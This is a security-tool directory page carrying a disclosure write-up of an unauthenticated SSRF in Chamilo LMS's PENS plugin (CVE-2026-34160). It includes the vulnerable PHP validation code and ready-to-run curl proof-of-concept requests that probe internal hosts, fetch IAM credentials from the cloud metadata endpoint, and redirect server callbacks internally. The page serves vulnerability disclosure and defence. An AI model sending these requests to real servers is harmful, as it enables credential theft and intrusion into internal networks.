Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34160 — Unauthenticated SSRF in Chamilo LMS via PENS plugin (pens.php) — CVSS 7.5 | Kitploit
Tools/GitHubGitHub/romain-deperne/cve-2026-34160
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubromain-deperne/cve-2026-34160

CVE-2026-34160

Unauthenticated SSRF in Chamilo LMS via PENS plugin (pens.php) — CVSS 7.5

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34160 — Unauthenticated SSRF in Chamilo LMS via PENS plugin (pens.php)

Severity: High (CVSS 7.5) CWE: CWE-918 (Server-Side Request Forgery) Affected: chamilo/chamilo-lms 2.x (commit af6b7002 and earlier) Advisory: GHSA-g2xj-4cch-j276 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160

TL;DR

The PENS (Package Exchange Notification Services) plugin endpoint public/plugin/Pens/pens.php is accessible without authentication and accepts user-controlled URLs for both package download and callback notifications. The URL validation functions check scheme and host presence but perform no private IP filtering, allowing unauthenticated SSRF into internal networks and cloud metadata services.

How I found this

After finding CVE-2026-33715 in Chamilo's install.ajax.php, I kept auditing the codebase for other unauthenticated endpoints with network-side effects. The PENS plugin (public/plugin/Pens/) stood out: PENS is a legacy e-learning content delivery protocol that involves fetching packages from external URLs and sending callbacks to external servers — both classic SSRF surfaces.

I read PensProcessor.php looking for the URL validation logic. isAllowedDownloadUrl() and isAllowedCallbackUrl() both check scheme (http/https) and non-empty host — and stop there. No RFC 1918 filtering, no loopback check, no link-local check. The comment even says "returns true" after the host check, which made it obvious this was written without SSRF in mind.

What distinguishes this from the previous Chamilo CVE: it has two independent SSRF vectors — one for the package fetch (the server pulls a file from attacker-controlled URL) and one for the callbacks (the server POSTs to attacker-controlled endpoints). The callback vector is particularly useful for exfiltrating internal service responses, since the server will POST the PENS status data to whatever URL you specify, and you control the response parsing.

On cloud deployments, the 169.254.169.254 metadata endpoint is reachable through both vectors.

Affected component

File: public/plugin/Pens/lib/PensProcessor.php

Two distinct SSRF vectors:

Vector 1 — Package URL fetch (lines 376, 138):

root@kitploit:~
private function isAllowedDownloadUrl(string $url): bool
{
    $parts = parse_url($url);
    $scheme = strtolower((string) ($parts['scheme'] ?? ''));
    if (!in_array($scheme, ['http', 'https'], true)) { return false; }
    $host = strtolower((string) ($parts['host'] ?? ''));
    if ('' === $host) { return false; }
    return true;  // ← no private IP check
}

// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);

Vector 2 — Callback SSRF (line 318): The receipt and alerts parameters specify URLs where the server sends POST callbacks — same absent validation.

Root cause

isAllowedDownloadUrl() and isAllowedCallbackUrl() only validate that the URL has an http/https scheme and a non-empty host. RFC 1918 private ranges (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — cloud metadata), and IPv6 equivalents are all accepted.

PoC

root@kitploit:~
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://192.168.1.1:80/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test-123" \
  -d "client=test" \
  -d "system-user=test"

# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://example.com/legit.zip" \
  -d "receipt=http://10.0.0.50:8080/internal-endpoint" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

Impact

  1. SSRF to internal network — unauthenticated probe of internal hosts and services
  2. Cloud metadata exfiltration — on AWS/GCP/Azure deployments, fetch IAM credentials via 169.254.169.254
  3. Callback SSRF — force the server to POST to arbitrary internal endpoints

Note: this is distinct from CVE-2022-27426 (SSRF in social/links tools) — different code path, different plugin, unauthenticated.

Timeline

  • Discovery: 2026-03-22
  • Reported: GHSA-g2xj-4cch-j276 (private advisory)
  • CVE published: CVE-2026-34160
Download Tool